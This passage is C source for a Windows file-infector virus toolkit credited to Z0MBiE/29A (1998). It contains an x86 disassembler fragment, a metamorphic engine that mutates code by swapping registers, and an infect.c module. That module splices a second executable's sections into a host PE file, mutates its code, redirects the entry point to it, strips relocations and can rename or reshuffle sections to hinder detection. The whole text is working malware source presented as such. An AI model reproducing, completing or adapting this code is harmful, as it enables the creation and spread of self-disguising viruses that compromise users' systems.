	//r.type = ct_scas;
	goto done;
      }
    if cmpEx(b,0xFE,0xAC)
      {
	//r.type = ct_lods;
	goto done;
      }
    if cmpEx(b,0xFE,0xA6)
      {
	//r.type = ct_cmps;
	goto done;
      }

    if cmpEx(b,0xF8,0xB8)
      {
	//r.type = ct_mov;
	goto reg_opcode0_data_66;
      }
    if cmpEx(b,0xF8,0xB0)
      {
	//r.type = ct_mov;
	goto data_byte;
      }

    if cmpEx(b,0xC4,0x00)
      {
	//r.type = ct_ttt_opcode3;
	goto w_modrm;
      }


    if ( cmpEx(b,0xFE,0xF6) && cmpEx(ttt,0x06,0x02) )
      {
	//r.type = ct_notneg;
	goto ttt_w_modrm;
      }


    if cmpEx(b,0xF0,0x40)
      {
	//r.type = ct_incdec;
	goto reg_opcode0;
      }


    if cmpEx(b,0xF8,0x90)
      {
	//r.type = ct_xchg;
	goto reg_opcode0;
      }

    if (b == 0x6A)		// push
      goto data_byte;
    if (b == 0x68)		// push
      goto data_66;

    if ((b == 0xFF) && (ttt == 0x06))	 // inc modrm
      goto ttt_modrm;

    if (b == 0x8D)		// lea
      goto modrm;

    if cmpEx(b,0xFC,0xA0)	// mov ax, [xxxxx]
      goto data_66;

    if cmpEx(b,0xFC,0x80)	// ttt rm, data
      goto ttt_modrm_data_s_w_66;

    if cmpEx(b,0xFE,0xC0)	// ttt rm, data    (shifts)
      goto ttt_modrm_data_byte;

    if cmpEx(b,0xF0,0x70)
      {
	 r.type = ct_jcc;
	 goto data_byte_rel;
      }

    if (b == 0xEB)
      {
	 r.type = ct_jmp;
	 goto data_byte_rel;
      }


    if ( cmpEx(b,0xFE,0xF6) && cmpEx(ttt,0x06,0x06) )	// div,idiv (ax)
      {
	goto ttt_a_w_modrm;
      }

    if cmpEx(b,0xFE,0x84)   // test
      goto w_modrm;

    if (cmpEx(b,0xFE,0xC6) && (ttt == 0x00))	// mov rm, data
      goto ttt_modrm_data_w_66;

    if (cmpEx(b,0xFE,0xF6) && (ttt == 0x00))	// test rm, data
      goto ttt_modrm_data_w_66;

    if cmpEx(b,0xFE,0x3C)	// cmp a
      {
	goto a_data_w_66;
      }

    if ( cmpEx(b,0xFE,0xFE) && cmpEx(ttt,0x06,0x00) )  // inc
      goto ttt_w_modrm;

    if cmpEx(b,0xC4,0x04)	// and
      goto data_w_66;

    if ( (b == 0xFF) && (ttt == 0x04) )     // jmp modrm
      {
	r.type = ct_jmpMODRM;
	goto ttt_modrm;
      }

    if (b == 0xEC)		// in al, dx
      goto done;
    if (b == 0xE4)		// in al, port
      goto data_byte;


    if (b == 0x69)		// imul
      goto modrm_data_w_66;

    if (cmpEx(b,0xFE,0xF6) && (ttt == 0x04) )  // mul [a,] rm
      goto ttt_modrm;

    if cmpEx(b,0xFC,0xD0)     // shr rm, 1/cl
      goto w_modrm;

    if (b == 0xA8)		// test al,xx
      goto data_byte;

    if cmpEx(b,0xFE,0x9C)	// push/popf
      goto done;



error:
    debug_dump(cmd, 10);
    printf("<- unknown command, opcode %B\n", r.opcode);
    exit(1);

prefix_0F:
    setflag(cf_0F);
    b = getbyte;
    r.opcode = b;
    ttt = (getbyteNI >> 3) & 7;


    if cmpEx(b,0xF6,0xB6)
      {
	//r.type = ct_movXx;	// movsx/movzx
	goto w_modrm;
      }


    if cmpEx(b,0xF0,0x80)
      {
	 r.type = ct_jcc;
	 goto data_66_rel;
      }

    goto error;

a_data_w_66:
    r.regtype[r.regcount  ] = rt_a;
    r.regsize[r.regcount++] = 0x66;
    goto data_w_66;

ttt_a_w_modrm:
    setflag(cf_ttt);
    goto a_w_modrm;

a_w_modrm:
    r.regtype[r.regcount  ] = rt_a;
    r.regsize[r.regcount++] = 0x66;
    goto w_modrm;

ttt_modrm_data_byte:
    setflag(cf_ttt);
    goto modrm_data_byte;

modrm_data_byte:
    modrm_real();
    goto data_byte;

ttt_modrm_data_s_w_66:
    setflag(cf_ttt);
    goto modrm_data_s_w_66;

modrm_data_s_w_66:
    modrm_real();
    goto data_s_w_66;

ttt_modrm_data_w_66:
    setflag(cf_ttt);
    goto modrm_data_w_66;

modrm_data_w_66:
    modrm_real();
    goto data_w_66;

data_s_w_66:
    if ((r.opcode & 0x02) != 0)
      goto data_byte;
    else
      goto data_w_66;

data_66_rel:
    setflag(cf_datarel);
    goto data_66;

data_byte_rel:
    setflag(cf_datarel);
    goto data_byte;

data_66:
    r.datasize = 0x66;
    goto data;

data_byte:
    r.datasize = 1;
    goto data;

data_word:
    r.datasize = 2;
    goto data;

data_dword:
    r.datasize = 4;
    goto data;

data:
    r.flags |= cf_data;
    goto done;

reg_opcode0_data_66:
    r.regtype[r.regcount  ] = rt_opcode0;
    r.regsize[r.regcount++] = 0x66;
    goto data_66;

reg_opcode0:
    r.regtype[r.regcount  ] = rt_opcode0;
    r.regsize[r.regcount++] = 0x66;

    goto done;

data_w_66:
    setflag(cf_w);
    goto data_66;

ttt_w_modrm:
    setflag(cf_ttt);
    goto w_modrm;

w_modrm:
    setflag(cf_w);
    goto modrm;

ttt_modrm:
    setflag(cf_ttt);
    goto modrm;

modrm:
    modrm_real();

done:
    if (r.datasize == 0x66)
      if ( flagset(cf_w) && ((r.opcode & 0x01) == 0) )
	r.datasize = 1;
      else
      if flagset(cf_66)
	r.datasize = 4;
      else
	r.datasize = 2;

    for (i=0; i<r.regcount; i++)
    if (r.regsize[i] == 0x66)
      {
	 if ( flagset(cf_w) && ((r.opcode & 0x01) == 0) )
	   r.regsize[i] = 1;
	 else
	 if flagset(cf_66)
	   r.regsize[i] = 4;
	 else
	   r.regsize[i] = 2;
      }

    if flagset(cf_mem)
      {
	for (i=0; i<r.memsize; i++)
	  r.mem.b[i] = getbyte;
      }

    if flagset(cf_data)
      {
	for (i=0; i<r.datasize; i++)
	  r.data.b[i] = getbyte;
      }

    if flagset(cf_datarel)
      {
	if (r.datasize == 1)  r.jmpdata = (signed char) r.data.b[0];
	if (r.datasize == 2)  r.jmpdata = (short) r.data.w[0];
	if (r.datasize == 4)  r.jmpdata = r.data.d[0];
      }

    r.size = ip - cmd;
    move((pchar) &r, (pchar) rec, sizeof(tcmdrec));

    #ifdef	FULL_DUMP

    printf("\n\n========= DUMP ==========\n");
    printf("flags: ");
    if (!flagset(cf_66))   printf("-66 ");
    if (!flagset(cf_67))   printf("-67 ");
    if flagset(cf_lock) printf("lock ");
    if flagset(cf_rep)	printf("rep ");
    if flagset(cf_seg)	printf("seg ");
    if flagset(cf_0F)	printf("0F ");
    printf("<opcode> ");
    if flagset(cf_w) printf("w ");
    if flagset(cf_modrm)printf("modrm ");
    if flagset(cf_sib)	printf("sib ");
    if flagset(cf_mem)	printf("mem ");
    if flagset(cf_data) printf("data ");
    if flagset(cf_datarel) printf("datarel ");
    printf("\n");

    if flagset(cf_rep) printf("r.px_rep = %B\n",r.px_rep);
    if flagset(cf_seg) printf("r.px_seg = %B\n",r.px_seg);

    printf("r.opcode = %B\n",r.opcode);
    if (r.type == ct_jmp)  printf("r.type = ct_jmp\n");
    if (r.type == ct_jcc)  printf("r.type = ct_jcc\n");
    if (r.type == ct_ret)  printf("r.type = ct_ret\n");
    if (r.type == ct_call) printf("r.type = ct_call\n");

    if flagset(cf_modrm)
      {
	printf("r.modrm = %B\n", r.modrm);
	printf("r.mod   = %B\n", r.mod);
	printf("r.reg   = %B\n", r.reg);
	printf("r.rm    = %B\n", r.rm);
      }

    if flagset(cf_sib)
      printf("r.sib = %B\n", r.sib);

    if flagset(cf_mem)
      {
	printf("r.memsize = %d\n", r.memsize);
	if (r.memsize == 1) printf("r.mem = %B\n",r.mem.b[0]);
	if (r.memsize == 2) printf("r.mem = %W\n",r.mem.w[0]);
	if (r.memsize == 4) printf("r.mem = %D\n",r.mem.d[0]);
      }
    if flagset(cf_data)
      {
	printf("r.datasize = %d\n", r.datasize);
	if (r.datasize == 1) printf("r.data = %B\n",r.data.b[0]);
	if (r.datasize == 2) printf("r.data = %W\n",r.data.w[0]);
	if (r.datasize == 4) printf("r.data = %D\n",r.data.d[0]);
      }

    if (r.regcount != 0)
      {
	printf("r.regcount = %d\n",r.regcount);
	for (i=0; i<r.regcount; i++)
	  {
	    printf("r.regtype[%w] = ",i);
	    if (r.regtype[i] == rt_undefined) printf("rt_undefined");
	    if (r.regtype[i] == rt_opcode0)   printf("rt_opcode0");
	    if (r.regtype[i] == rt_modrm_reg) printf("rt_modrm_reg");
	    if (r.regtype[i] == rt_modrm_rm)  printf("rt_modrm_rm");
	    if (r.regtype[i] == rt_sib0_32) printf("rt_sib0_32");
	    if (r.regtype[i] == rt_sib3_32) printf("rt_sib3_32");
	    if (r.regtype[i] == rt_a) printf("rt_a");
	    if (r.regtype[i] == rt_ebp) printf("rt_ebp");

	    printf("\n");
	  }
      }

    #endif

    #ifdef SHORT_DUMP

    debug_dump(cmd, r.size);

    #endif
  }

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[disasm.c]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[engine.c]ÄÄ

// ENGINE.C - main engine
// Copyright (C) 1998 Z0MBiE/29A

//byte	  command[max_cmd][32];

dword	code_base;

dword	codesize;
byte	ii[max_code_size];
byte	oo[max_code_size];

#define UNUSED		'-'
#define MARKED		'x'
#define FORNEXTPASS	'N'
byte	buf_mark[max_code_size];

void mark_opcode(pchar p, dword size, byte filler)
  {
    dword    i;

    i = (dword) p - (dword) &ii;

    for (; size>0; size--, i++)
      if (buf_mark[i] != MARKED)
	buf_mark[i] = filler;

  }

void process_marking(pchar p)
  {
    tcmdrec rec;
    pchar q;
    dword t;

cycle:
    if (buf_mark[(dword) p - (dword) &ii] == MARKED)
      return;

    //printf("<%D>: ", (dword) p - (dword) &ii);
    disasm(p, &rec);
    mark_opcode(p, rec.size, MARKED);

    if (rec.type == ct_ret)
      {
	//printf("-- ct_ret\n");
	return;
      }
    if (rec.type == ct_jmp)
      {
	//printf("-- ct_jmp\n");

	t = (dword)p + rec.jmpdata+rec.size;
	t = t - (dword) &ii + code_base;
	if (t > 0x80000000)
	  {
	     printf("extra jmp to %D\n", t);
	     return;
	  }

	p += rec.jmpdata+rec.size;
	goto cycle;
      }
    if (rec.type == ct_jmpMODRM)
      {
	//printf("-- ct_jmpMODRM\n");
	return;
      }
    if ((rec.type == ct_call) || (rec.type == ct_jcc))
      {
	//printf("-- ct_call/ct_jcc\n");
	q = (pchar) ( (dword) p + rec.jmpdata+rec.size );
	mark_opcode(q, 1, FORNEXTPASS);
      }

    p += rec.size;
    goto cycle;

  }

void mark_input(void)
  {
    dword   i,progress;

    // init
    fillchar(buf_mark, sizeof(buf_mark), UNUSED);

    // entrypoint(s)
    mark_opcode((pchar) &ii, 1, FORNEXTPASS);

    // main cycle

cycle:
    progress=0;
    for (i=0; i<codesize; i++)
      {
	if (buf_mark[i] == FORNEXTPASS)
	  {
	    //printf("found FORNEXTPASS at %D\n", i);
	    process_marking( (pchar) ( i + (dword) &ii	) );
	    progress++;
	  }
      }
    if (progress != 0)
      goto cycle;

  }

	     // exchange (E)BX & (E)CX

	     // a c d b    b=3	c=1
	     // al cl dl bl ah ch dh bh

byte reg8_repl[8]    = {0,3,2,1,4,7,6,5};   // ebx <--> ecx
byte reg1632_repl[8] = {0,3,2,1,4,5,6,7};   //

//byte reg8_repl[8]    = {0,1,2,3,4,5,6,7};
//byte reg1632_repl[8] = {0,1,2,3,4,5,6,7};

void engine_main(void)	// mutate ii[] -> oo[]
  {
    #ifdef DEBUG_FILES
    handle   h;
    #endif
    dword    i,j,k,c;
    byte     b,b0;
    tcmdrec  rec;

    fillchar(&oo, codesize, 0xCC);

    printf("marking\n");

    mark_input();

    printf("assembling ii -> oo\n");

    i = 0;
cycle:
    if (buf_mark[i] == UNUSED)
      i++;
    else
      {
	disasm(&ii[i], &rec);
	move(&ii[i], &oo[i], rec.size);

	if ((rec.opcode == 0xFF) && (rec.modrm == 0x25))
	  {
	    j = (dword) &oo[i+2];
	    j = * (dword *) j;
	    j = * (dword *) j;
	    j = j - (code_base + i + 5);
	    oo[i+0] = 0xE9;
	    k = (dword) &oo[i+1];
	    * (dword *) k = j;
	    oo[i+5] = 0x90;

	    i+= rec.size;  // +6
	  }
	else
	  {

	  //  printf("before: i=%D regcount=%d opcode=%B modrm=%B sib=%B mem=%d data=%d\n",
	  //	i, rec.regcount, rec.opcode, rec.modrm, rec.sib, rec.memsize, rec.datasize);

	    c = 0;

	    for (k=0; k<rec.regcount; k++)
	      {

		if (rec.regtype[k] == rt_opcode0)    b = rec.opcode & 7;
		if (rec.regtype[k] == rt_modrm_reg)  b = rec.reg;
		if (rec.regtype[k] == rt_modrm_rm)   b = rec.rm;
		if (rec.regtype[k] == rt_sib0_32)    b = rec.base;
		if (rec.regtype[k] == rt_sib3_32)    b = rec.index;

		b0 = b;

		if (rec.regsize[k] == 1)
		  b = reg8_repl[b];
		else
		  b = reg1632_repl[b];

		if (b != b0) c++;

		if (rec.regtype[k] == rt_opcode0)
		  rec.opcode = (rec.opcode & 0xF8) | b;
		if (rec.regtype[k] == rt_modrm_reg)  rec.reg	= b;
		if (rec.regtype[k] == rt_modrm_rm)   rec.rm	= b;
		if (rec.regtype[k] == rt_sib0_32)    rec.base	= b;
		if (rec.regtype[k] == rt_sib3_32)    rec.index	= b;

	      }

	    rec.modrm = (rec.mod << 6) + (rec.reg << 3) + (rec.rm);
	    rec.sib   = (rec.scale << 6) + (rec.index << 3) + (rec.base);

	    j = i;

   #define  store_byte(b)	   oo[j++] = (b)

   //#define  store_byte(b)	     oo[j++] = (0x90)	 //debug

   #define  flag(x)		   ((rec.flags & (x)) != 0)

	    if (c != 0)
	      {

		if (!flag(cf_66)) store_byte(0x66);
		if (!flag(cf_67)) store_byte(0x67);
		if flag(cf_lock)  store_byte(0xF0);
		if flag(cf_rep)   store_byte(rec.px_rep);
		if flag(cf_seg)   store_byte(rec.px_seg);
		if flag(cf_0F)	  store_byte(0x0F);
		store_byte(rec.opcode);
		if flag(cf_modrm) store_byte(rec.modrm);
		if flag(cf_sib)   store_byte(rec.sib);
		for (k=0; k<rec.memsize; k++)
		  store_byte(rec.mem.b[k]);
		for (k=0; k<rec.datasize; k++)
		  store_byte(rec.data.b[k]);

	      }

	    i+= rec.size;

	  //  printf("after: i=%D j=%D  opcode=%B modrm=%B sib=%B \n",
	  //	i,j, rec.opcode, rec.modrm, rec.sib);

	    if (c != 0)
	    if (i != j)
	      {
		printf("command assembling error");
		exit(0);
	      }

	  }

      }
    if (i < codesize)
      goto cycle;

    #ifdef DEBUG_FILES
    h = createfile("_mark");
    writefile(h, buf_mark, codesize);
    closefile(h);
    #endif

  }

void run_engine(pchar inbuf, pchar outbuf, dword _codesize_)
  {
    #ifdef DEBUG_FILES
    handle h;
    #endif

    code_base = (dword) inbuf;

    printf("Executing engine\n");

    // initialize
    zero(ii);
    zero(oo);
    codesize = _codesize_;
    move(inbuf, &ii, codesize);

    #ifdef DEBUG_FILES
    h = createfile("_inbuf");  writefile(h, ii, codesize); closefile(h);
    #endif

    engine_main();

    #ifdef DEBUG_FILES
    h = createfile("_outbuf"); writefile(h, oo, codesize); closefile(h);
    #endif

    // returning outbuf
    move(&oo, outbuf, codesize);

    printf("Engine completed\n");
  }

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[engine.c]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[infect.c]ÄÄ

// INFECT.C - PE infection module
// Copyright (C) 1998 Z0MBiE/29A

byte code_buf[max_code_size];	// output buffer for mutated code

#define ALIGNED(addr, align)	(((addr) + (align) - 1) & (~((align) - 1)))

mzheader mz;
peheader pe_A;
peheader pe_B;

#define  max_obj_num_A 64
#define  our_sections	4		// max!
dword	 objnum_A;
objentry objtable_A[max_obj_num_A];

#define  max_obj_num_B 64
dword	 objnum_B;
objentry objtable_B[max_obj_num_B];

dword	 max;
byte	 buf[8192];

dword	 rva;

dword	 pe_pos_A;
dword	 objtable_pos_A;


	#ifdef	 RENAME_SECTIONS

#define c_max 6

char c_str[c_max][16] =
  {".text",
   ".TEXT",
   ".code",
   ".CODE",
   "code",
   "CODE"};

#define d_max 9

char d_str[d_max][16] =
  {".data",
   ".DATA",
   "data",
   "DATA",
   "BSS",
   "bss",
   ".BSS",
   ".bss",
   ".CRT"};

	#endif

void copyfile(handle I, handle O, dword Ipos, dword Opos, dword size)
  {
    seek(I, Ipos);
    seek(O, Opos);
    while (size > 0)
      {
	max = MIN(sizeof(buf), size);
	readfile(I, buf, max);
	writefile(O, buf, max);
	size -= max;
      }
  }

void run_infect(pchar file_A, pchar file_B, pchar file_C)
  {
    handle A,B,C;
    dword i,j,a,b;
    dword d;

    printf("job: %a + %a = %a\n", file_A, file_B, file_C);

    A = openfile_ro(file_A);
    B = openfile_ro(file_B);
    C = createfile(file_C);

//---------------------------------------------------------------------------

    printf("processing %a\n", file_A);

    max = readfile(A, &mz, sizeof(mzheader));

    if ( (mz.id != 'MZ') || (max != sizeof(mzheader)) )
      {
	printf("error in old exe header\n");
	goto exit;
      }

    if ( (mz.relnum != 0) && (mz.relofs <= sizeof(mzheader)) )
      {
	printf("PE header not found in this file\n");
	goto exit;
      }

    seek(A, mz.neptr);
    pe_pos_A = filepos(A);
    max = readfile(A, &pe_A, sizeof(peheader));

    if ( (pe_A.id != 'PE') || (max != sizeof(peheader)) )
      {
	printf("error reading new exe header - PE not found\n");
	goto exit;
      }

    if ((pe_A.cputype < 0x014C) ||
	(pe_A.cputype > 0x014E))
      {
	printf("wrong pe_A.cputype value\n");
	goto exit;
      }

    objnum_A = pe_A.numofobjects;
    if ((objnum_A == 0) || (objnum_A > (max_obj_num_A-our_sections)))
      {
	printf("numofobjects error (0 or too many)");
	goto exit;
      }

    if (pe_A.ntheadersize != (0xF8-0x18))
      {
	printf("*** WARNING ***: ntheadersize\n");
	seek(A, 0x18 + pe_A.ntheadersize);    // correct obj table ptr
      }

    if (((pe_A.flags & 0x0002) == 0) ||    // executable
	((pe_A.flags & 0x2001) != 0) ||    // dll | fixed
	(pe_A.dllflags != 0))
      {
	printf("pe_A.flags or pe.dllflags error\n");
	goto exit;
      }

    if (pe_A.magic != 0x010B)
      {
	printf("pe_A.magic error\n");
	goto exit;
      }

    if ((pe_A.subsystem != 2) && (pe_A.subsystem != 3))  // Windows GUI/char
      {
	printf("pe_A.subsystem error\n");
	goto exit;
      }

    if (pe_A.imagebase != 0x00400000)
      {
	printf("*** WARNING ***: pe_A.imagesize\n");
      }

    objtable_pos_A = filepos(A);
    readfile(A, objtable_A, objnum_A * sizeof(objentry));

    if ( (ALIGNED(filepos(A), pe_A.filealign) - filepos(A)) <
	 (our_sections * sizeof(objentry)) )
      {
	printf("No free space in objecttable\n");
	goto exit;
      }

//---------------------------------------------------------------------------

    printf("processing %a\n", file_B);

    readfile(B, &mz, sizeof(mzheader));
    seek(B, mz.neptr);
    readfile(B, &pe_B, sizeof(peheader));

    if (pe_B.ntheadersize != (0xF8-0x18))
      {
	printf("*** WARNING ***: ntheadersize\n");
	seek(A, 0x18 + pe_B.ntheadersize);    // correct obj table ptr
      }

    objnum_B = pe_B.numofobjects;
    readfile(B, &objtable_B, max_obj_num_B * sizeof(objentry));

//---------------------------------------------------------------------------

    j = 0;
    for (i=0; i<objnum_B; i++)
      if (objtable_B[i].reserved[0] == 0) j++;
    if (j == objnum_B)	// 1st start - mark sections
      {
	for (i=0; i<objnum_B;i++)
	  if (!cmp(&objtable_B[i].name, ".debug", 7))
	  if (!cmp(&objtable_B[i].name, ".idata", 7))   // YES !!!
	    objtable_B[i].reserved[0] = 'Z';
      };

retry:
    for (i=0; i<objnum_B; i++)
      if (objtable_B[i].reserved[0] != 'Z')
	{
	  move(&objtable_B[objnum_B-1],
	       &objtable_B[i],
	       sizeof(objentry));
	  objnum_B--;
	  goto retry;
	}

   // for (i=0; i<objnum_B;i++)
   //	 objtable_B[i].name[0] = '_';

//---------------------------------------------------------------------------

    rva = 0;
    for (i=0; i<objnum_A; i++)
      {
	j = objtable_A[i].sectionrva +
	    objtable_A[i].virtualsize;
	rva = MAX(rva, j);
      }
    rva = ALIGNED(rva, pe_A.objectalign);

    for (i=0; i<objnum_B; i++)
      {
	objtable_B[i].sectionrva =
	objtable_B[i].sectionrva + pe_B.imagebase - pe_A.imagebase;

	if (objtable_B[i].sectionrva < rva)
	  {
	    printf("RVA fixing error");
	    goto exit;
	  }

	if (pe_A.imagesize + objtable_B[i].sectionrva > 0x80000000)
	  {
	    printf("some rva > 0x80000000, cant infect file\n");
	    goto exit;
	  }

      }

    save_entrypoint = pe_A.imagebase + pe_A.entrypointrva;

    pe_A.entrypointrva =
      pe_B.entrypointrva + pe_B.imagebase - pe_A.imagebase;

//---------------------------------------------------------------------------

    printf("copying %a to %a\n", file_A, file_C);

    copyfile(A, C, 0, 0, filesize(A));

//---------------------------------------------------------------------------

    printf("copying sections\n");

    seek(C, filesize(C));

    #ifdef RESORT_MY_SECTIONS

    a = rnd(objnum_B);
    b = random();

    #endif

    for (j=0; j<objnum_B; j++)
      {
	#ifdef RESORT_MY_SECTIONS
	i = ((j ^ a) + b) % objnum_B;
	#else
	i = j;
	#endif

	move(&objtable_B[i],
	     &objtable_A[objnum_A],
	     sizeof(objentry));

	objtable_A[objnum_A].physicaloffset =
	  ALIGNED(filepos(C), pe_A.filealign);

	seek(C, objtable_A[objnum_A].physicaloffset);
	d = objtable_B[i].sectionrva - // relocate BACK, what the sux...
	  pe_B.imagebase + pe_A.imagebase +
	  pe_B.imagebase;

	if ((objtable_B[i].objectflags & 0x20) != 0)  // code?
	  {
	    run_engine((pchar) d, (pchar) &code_buf, objtable_B[i].physicalsize);
	    writefile(C, &code_buf, objtable_B[i].physicalsize);
	   }
	else
	  writefile(C, (voidptr) d, objtable_B[i].physicalsize);

	objnum_A++;
      }

    printf("patching header/objecttable\n");

    pe_A.numofobjects = objnum_A;

    pe_A.flags |= 0x0001;   // fixed = relocs. stripped
    pe_A.fixuprva = 0;
    pe_A.fixupsize = 0;

    pe_A.checksum = 0;

    #ifdef REDEFINE_SUBSYSTEM
    pe_A.subsystem = 3; 	   // char
    #endif

    for (i=0; i<objnum_A; i++)
      {
	if (cmp(&objtable_A[i].name, ".reloc", 7))
	  {
	    // printf(".reloc killed\n");
	    objtable_A[i].objectflags |= 0x800;
	  }
      }

    for (i=0; i<objnum_B; i++)
      {
	j = ALIGNED(objtable_B[i].virtualsize, pe_A.objectalign);

	if ((objtable_B[i].objectflags & 0x20) != 0)
	  pe_A.sizeofcode  += j;
	if ((objtable_B[i].objectflags & 0x40) != 0)
	  pe_A.sizeofidata += j;
	if ((objtable_B[i].objectflags & 0x80) != 0)
	  pe_A.sizeofudata += j;
      }

    max = 0;
    for (i=0; i<objnum_A;i++)
      max = MAX(max,
	  objtable_A[i].sectionrva +
	  ALIGNED(objtable_A[i].virtualsize,pe_A.objectalign)  );
    pe_A.imagesize = max;

    // change section names

#define NAMELEN(str)	     (MAX(strlen((str)), 8))

    #ifdef	RENAME_SECTIONS

    for (i=0; i<objnum_A;i++)
      {
	for (j=0; j<c_max; j++)
	  {
	    if (cmp(&objtable_A[i].name, c_str[j], NAMELEN(c_str[j])))
	      {
		j = rnd(c_max);
	       // printf("code: %a -> %a\n", objtable_A[i].name,c_str[j]);
		move(&c_str[j], &objtable_A[i].name, NAMELEN(c_str[j]));
		goto skip_j;
	      }
	    if (cmp(&objtable_A[i].name, d_str[j], NAMELEN(d_str[j])))
	      {
		j = rnd(d_max);
	       // printf("data: %a -> %a\n", objtable_A[i].name,d_str[j]);
		move(&d_str[j], &objtable_A[i].name, NAMELEN(d_str[j]));
		goto skip_j;
	      }
	  } // for j
skip_j:
      } // for i

    #endif

    #ifdef RESORT_OBJTABLE

    for (max=0; max<1000; max++)
      {
	i = rnd(objnum_A);
	j = rnd(objnum_A);
	move(&objtable_A[i], &objtable_B[0], sizeof(objentry));
	move(&objtable_A[j], &objtable_A[i], sizeof(objentry));
	move(&objtable_B[0], &objtable_A[j], sizeof(objentry));
      }

    #endif

    seek(C, pe_pos_A);
    writefile(C, &pe_A, 0x18+pe_A.ntheadersize );

    seek(C, objtable_pos_A);
    writefile(C, objtable_A, objnum_A * sizeof(objentry));

//---------------------------------------------------------------------------

exit:
    closefile(A);
    closefile(B);
    closefile(C);

  }

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[infect.c]ÄÄ
